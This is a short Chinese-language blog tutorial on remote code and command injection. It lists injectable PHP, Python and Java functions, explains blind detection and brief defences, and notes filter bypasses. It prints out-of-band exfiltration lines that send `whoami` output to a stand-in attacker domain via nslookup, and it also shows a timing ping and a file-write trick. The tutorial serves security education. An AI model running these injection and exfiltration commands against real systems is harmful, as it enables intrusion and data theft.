Loading

4.8 RCE

简介

RCE 分为两类。详见

Remote Code Execution (Code Injection)

Remote Command Execution (Command injection)

命令执行练习靶场

是什么?

代码注入、命令注入,差不多都一个意思,不同之处在于前者将用户可控输入当作系统命令执行,而后者当作代码执行。

程序编写时,将用户的可控输入作为代码、命令的一部分来执行,而没有进行严格过滤。

php 中
    # 可以进行代码执行的函数
    eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
    # 可以进行命令执行的函数
    system()、shell_exec()、popen()、passthru()、proc_open()
python 中
	eval exec subprocess os.system commands 
java 中
	java 中没有直接的函数,但是可以通过反射机制结合表达式引擎来实现这种功能。	OGNL、SpEL、MVEL

历史原因,在进行查询库存等操作时,可能会直接调用相应单独程序。

成功攻击的影响是?

代码执行可以执行代码,包括调用执行系统命令函数。

命令执行可以执行系统命令。

如何攻击?
  1. 要探测到可能用作 代码执行、命令执行的入口。白盒而言相对简单,黑盒只能通过经验、程序表现来判断。

  2. 突破不严谨过滤方式。 见下文

  3. 进行利用。

可以利用 Commix 命令注入检测、利用工具。

如何防御?

尽量不要使用将用户可控输入转化为命令的功能。

如果非要使用,应该严格限制输入类型、不允许特殊符号。

检测与利用

代码注入

构造 webshell。

命令注入

如果目标回显,则直接看响应结果即可。

如目标不回显,则尝试以下方法:

  1. 时延。利用耗时命令,当注入成功时,响应时间明显变大。

    ping -c 2 -i 4  127.0.0.1   //每次ping 间隔 4秒
    
  2. oob 技术。利用 ping 或者 nslookup 来检测或带出数据。

    nslookup `whoami`.kgji2ohoyw.web-attacker.com
    nslookup $(whoami).kgji2ohoyw.web-attacker.com
    
  3. 写入到文件。写入到网站公共目录下,然后访问文件。

    whoami > /var/www/static/whoami.txt
    

防御绕过

等链接到后面的 WAF 绕过

代码注入

正则表达式过滤,可以尝试 异或加密。在网上查找代码加密混淆工具。

命令执行

利用 bash 或 cmd 特性来混淆命令

posted @ 2021-04-19 17:02  沉云  阅读(97)  评论(0编辑  收藏  举报